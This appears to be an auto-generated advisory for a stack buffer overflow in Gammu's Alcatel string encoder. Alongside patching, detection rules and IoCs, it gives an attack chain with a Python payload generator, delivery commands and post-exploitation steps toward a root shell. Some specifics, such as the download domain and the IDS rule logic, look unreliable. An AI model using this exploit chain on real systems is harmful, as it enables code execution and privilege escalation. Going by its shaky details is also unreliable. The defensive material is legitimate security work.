CVE-2026-138162 — Gammu — CWE-121
Gammu before 1.45.2 contains a stack-based buffer overflow vulnerability in ALCATEL_EncodeString() that allows attackers to overwrite stack memory via oversized encoded phonebook text. Attackers can supply a crafted backup restored with gammu restore or addnew to an attached Alcatel phone, using GSM extension characters to crash Gammu or potentially execute code.
Gammu before 1.45.2 contains a stack-based buffer overflow vulnerability in ALCATEL_EncodeString() that allows attackers to overwrite stack memory via oversized encoded phonebook text. Attackers can supply a crafted backup restored with gammu restore or addnew to an attached Alcatel phone, using GSM extension characters to crash Gammu or potentially execute code.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑138162
CWE: CWE‑121 – Stack‑Based Buffer Overflow
Technical summary
gammu is a command‑line utility / library used to communicate with mobile phones (including Alcatel devices) for backup, restore, SMS, phone‑book handling, etc.
The function ALCATEL_EncodeString() is responsible for converting a UTF‑8 phone‑book entry into the proprietary Alcatel “GSM‑7 extension” encoding before it is written to a backup file or sent to the phone.
- The function allocates a fixed‑size buffer on the stack (e.g.,
char outbuf[256];). - It then iterates over the input string, converting each character and writes the result without checking that the output length stays within the buffer size.
- When the input contains a long sequence of characters that map to two‑byte GSM‑extension codes (e.g.,
^ { } \ [ ~ ] | €), the encoded output can be up to twice the size of the original text. - An attacker who can supply an arbitrarily long phone‑book entry (via a backup file that will be restored with
gammu restoreor via theaddnewcommand that writes directly to an attached Alcatel phone) can cause the function to write past the end ofoutbuf, overwriting the saved return address, local variables, or other control data on the stack. - AV:L – the attacker must have local access (e.g., a user who can run
gammuon the host). - AC:H – exploiting the overflow requires careful crafting of the payload (knowledge of the stack layout, correct alignment, etc.).
- PR:N – no privileges are required beyond being able to run the binary.
- UI:R – the victim must trigger the vulnerable code (e.g., by restoring a crafted backup).
- C:H / I:H / A:H – successful exploitation can lead to complete control of the process (code execution), allowing the attacker to read, modify, or delete any data the process can access and to crash the service.
Because the overflow occurs in a local, non‑privileged process that runs with the privileges of the user invoking gammu, the CVSS vector reflects:
ALCATEL_EncodeString() enables a classic stack‑based buffer overflow.⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation scenario. All commands are shown for a typical Linux host where gammu is installed (/usr/bin/gammu). The PoC is illustrative – exact offsets will vary with compiler version, architecture (x86_64 vs. i386), and the specific Alcatel model.
1. Discovery & Reconnaissance
| Step | Action | Reasoning | ||
|---|---|---|---|---|
| 1.1 | Identify machines that have gammu installed. | dpkg -l | grep gammu (Debian/Ubuntu) or rpm -qa | grep gammu (RHEL). |
| 1.2 | Determine the version. | gammu --version → output shows gammu 1.44.0 (any version < 1.45.2 is vulnerable). | ||
| 1.3 | Verify that the binary is linked against the vulnerable source file. | strings /usr/bin/gammu | grep ALCATEL_EncodeString – presence confirms the function is compiled in. | |
| 1.4 | Locate a writable directory for backup files. | gammu --getbackupdir (or default $HOME/.gammu/backup). |
2. Exploitation
Goal: Trigger the overflow and gain code execution inside the gammu process.
2.1 Craft the malicious phone‑book entry
The overflow is driven by the encoded length, not the raw UTF‑8 length. The GSM‑7 extension characters expand to two bytes each. A convenient payload is a long string of the character ^ (U+005E), which maps to the GSM extension 0x1B 0x14.
#!/usr/bin/env python3
# generate_overflow_payload.py
import struct, sys
# Number of GSM‑7 extension characters needed to overflow a 256‑byte buffer
# 256 / 2 = 128 characters will fill the buffer; we add a few more for control data.
payload_len = 150 # adjust after local testing
# Build the UTF‑8 string that will be encoded
utf8_str = '^' * payload_len # each '^' becomes two bytes after encoding
# Build a fake phone‑book entry in the format expected by gammu backup files.
# The exact format is a simple CSV: "Name;Number;Text"
entry = f"Attacker;12345;{utf8_str}\n"
# Append a ROP chain / shellcode placeholder (illustrative)
# For x86_64 we might overwrite the saved RIP with the address of `system`
# and place "/bin/sh" after it. Here we just pad with 'A's.
rop = b'A' * 8 # placeholder for overwritten return address
shell = b"/bin/sh\x00"
# Final payload (binary) – the backup file is plain text, so we embed the raw bytes
with open('malicious_backup.txt', 'wb') as f:
f.write(entry.encode('utf-8'))
f.write(rop)
f.write(shell)
print("[+] malicious_backup.txt created")Running the script produces malicious_backup.txt. The file is plain‑text (the backup format used by gammu restore), but the overflow occurs during the internal conversion step, not during file parsing.
2.2 Deliver the payload
Two realistic delivery vectors:
| Vector | Command |
|---|---|
| a) Local restore (attacker already has a shell on the host) | gammu restore malicious_backup.txt |
| b) Remote “addnew” via attached phone (attacker controls a malicious Alcatel handset) | On the phone, import the crafted phone‑book entry (e.g., via a malicious SIM or OTA provisioning). When the phone is connected, run gammu addnew which reads the entry and triggers the overflow. |
Illustrative command (local restore):
$ ./gammu restore malicious_backup.txt
Restoring backup from 'malicious_backup.txt' … done.If the payload is correctly sized, gammu will crash (segmentation fault) or, when the overwritten return address points to attacker‑controlled code (e.g., a ROP chain that calls execve("/bin/sh",NULL,NULL)), the process will spawn a shell with the privileges of the user who invoked gammu.
2.3 Gaining code execution
Because the overflow occurs in a user‑space utility, the attacker gains the same privileges as the invoking user. In many environments gammu is run as root (e.g., in automated phone‑sync cron jobs). If that is the case, the attacker obtains root.
Typical exploitation steps after gaining control of the process:
1. Leak a libc address (e.g., via a format‑string or by reading /proc/self/maps if the process has read access).
2. Build a ROP chain that calls execve("/bin/sh",NULL,NULL) or system("/bin/sh").
3. Pivot to a stable shell and then perform post‑exploitation (privilege escalation, credential dumping, lateral movement).
3. Post‑exploitation
| Impact | Description |
|---|---|
| Confidentiality | The attacker can read any file the gammu process can access (e.g., user’s home directory, configuration files, phone contacts). If gammu runs as root, the entire filesystem is readable. |
| Integrity | The attacker can modify or delete phone‑book backups, inject malicious contacts, or alter system files if running with elevated privileges. |
| Availability | An improperly crafted payload may simply cause a crash, resulting in denial‑of‑service for any scheduled phone‑sync jobs. A persistent ROP chain can also install a backdoor, ensuring continued access. |
🌍 Real World Impact
| CIA | CVSS Vector Explanation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – attacker can read *all* data accessible to the process. | Extraction of private contacts, SMS archives, or any files readable by the user/root. |
| Integrity (I:H) | I:H – attacker can modify data. | Tampering with phone‑book entries, injecting malicious contacts that could be used for phishing, or altering backup files. |
| Availability (A:H) | A:H – attacker can cause complete service disruption. | Crashing the gammu daemon/cron job, potentially halting automated provisioning or backup pipelines. |
Because the attack requires local interaction (the attacker must be able to run gammu or supply a backup file to a system that automatically restores it), the most common real‑world scenario is privileged automation (e.g., a nightly cron job that restores a backup from a network share). If an attacker can place a malicious file on that share, they achieve remote code execution without direct shell access.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed version |
|---|---|
| All releases prior to 1.45.2 (e.g., 1.44.x, 1.43.x, …) | 1.45.2 – the upstream commit adds a proper length check (if (out_len + 2 > sizeof(outbuf)) break;) and switches to a heap‑allocated buffer for large inputs. |
Action:
# Debian/Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade gammu
# RHEL/CentOS
sudo yum update gammu
# From source (if a package is not yet available)
wget https://download.sammu.org/gammu-1.45.2.tar.gz
tar xf gammu-1.45.2.tar.gz
cd gammu-1.45.2
./configure && make && sudo make installVerify the version after upgrade:
$ gammu --version
gammu 1.45.22. Workarounds (if patch cannot be applied immediately)
| Workaround | How to apply | Effectiveness |
|---|---|---|
Run gammu with a non‑privileged user | Create a dedicated low‑privilege account (gammuuser) and configure cron jobs or scripts to execute under that account (sudo -u gammuuser gammu …). | Reduces impact of a successful exploit to that user’s permissions. |
| Disable automatic restore of untrusted backups | Remove any gammu restore calls that operate on network‑shared or user‑supplied files. Add a checksum verification step before restore. | Prevents an attacker from feeding crafted data to the vulnerable function. |
| Input sanitisation at the source | Pre‑filter phone‑book entries to reject strings longer than 120 characters *or* containing a high proportion of GSM‑7 extension characters. This can be scripted in a wrapper around gammu. | Mitigates the overflow but does not replace a proper fix; may cause false positives. |
| AppArmor / SELinux confinement | Create a profile that denies gammu from executing arbitrary binaries (/bin/sh) and restricts file write permissions to a dedicated directory. | Limits the attacker’s ability to spawn a shell even if code execution is achieved. |
3. Detection
Log patterns (assuming the system logs gammu output to syslog or a dedicated log file):
Nov 28 12:34:56 host gammu[1234]: Restoring backup from 'malicious_backup.txt' …
Nov 28 12:34:56 host gammu[1234]: Segmentation fault (core dumped)
Nov 28 12:34:56 host kernel: [12345.678901] gammu[1234] general protection fault, rip: 0x7f...Indicators of Compromise (IoCs):
| Indicator | Description |
|---|---|
Unexpected core dumps in /var/lib/gammu/ or the invoking user’s home directory. | |
New executable files created in the same directory as gammu (e.g., sh or payload with recent timestamps). | |
Outbound connections from the gammu process to unknown IPs (if the attacker’s ROP chain includes a reverse shell). | |
Modified backup files (*.txt, *.vcard) that contain a long sequence of ^ or other GSM‑7 extension characters. | |
Auditd alerts for execve events where the parent process is gammu and the child is /bin/sh or any unexpected binary. Example rule: |
# /etc/audit/rules.d/gammu.rules
-w /usr/bin/gammu -p x -k gammu_exec
-a always,exit -F path=/bin/sh -F auid>=1000 -F auid!=4294967295 -k gammu_shellDetection via IDS/IPS (Snort/Suricata) – illustrative rule:
alert tcp $HOME_NET any -> $HOME_NET any (msg:"GAMMU local buffer overflow attempt";
content:"ALCATEL_EncodeString"; nocase;
content:"^"; distance:0; within:200;
sid:2026001; rev:1; classtype:attempted-user;
metadata:policy security-ips;)(The rule matches a large block of ^ characters in a file being processed by gammu; adjust the content match to the actual backup format.)
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS base score | 7.0 (High) – indicates a serious impact on confidentiality, integrity, and availability. |
| Attack vector | Local (AV:L) – requires the attacker to run code on the host, but many environments run gammu automatically (e.g., cron jobs) which widens the attack surface. |
| Complexity | High (AC:H) – crafting a reliable ROP chain needs knowledge of the binary layout, but a simple crash is trivial. |
| Privileges required | None (PR:N) – any local user can trigger the overflow. |
| Exploit availability | No public exploit disclosed yet (as of the publication date). However, the vulnerability is straightforward to weaponise for an attacker with local access. |
| CISA KEV | Not listed – does not change priority but indicates the issue is not yet deemed a “known exploited vulnerability”. |
Patch priority: Critical for any system where gammu runs with elevated privileges (e.g., root‑owned cron jobs, automated provisioning services). For environments where gammu is only used by regular users, the priority is High – apply the update promptly and enforce the workarounds in the meantime.
Recommended timeline:
1. Within 48 hours – apply the official 1.45.2 update on all production hosts.
2. If patching is impossible – implement the non‑privileged execution and input‑sanitisation workarounds, and enable logging/monitoring for the IoCs listed above.
3. Within 7 days – verify that no core dumps or suspicious backup files exist; conduct a short audit of cron jobs that invoke gammu.
Bottom line: The stack‑based overflow in
ALCATEL_EncodeString() is a classic, high‑impact bug that can be weaponised by any local user. Because many deployments run gammu with root privileges for automated phone management, the risk of full system compromise is real. Upgrade to gammu 1.45.2 immediately and apply the mitigations while the patch propagates through your package repositories.[🤖 CVE Professor AI Security Engine]
FOFA Query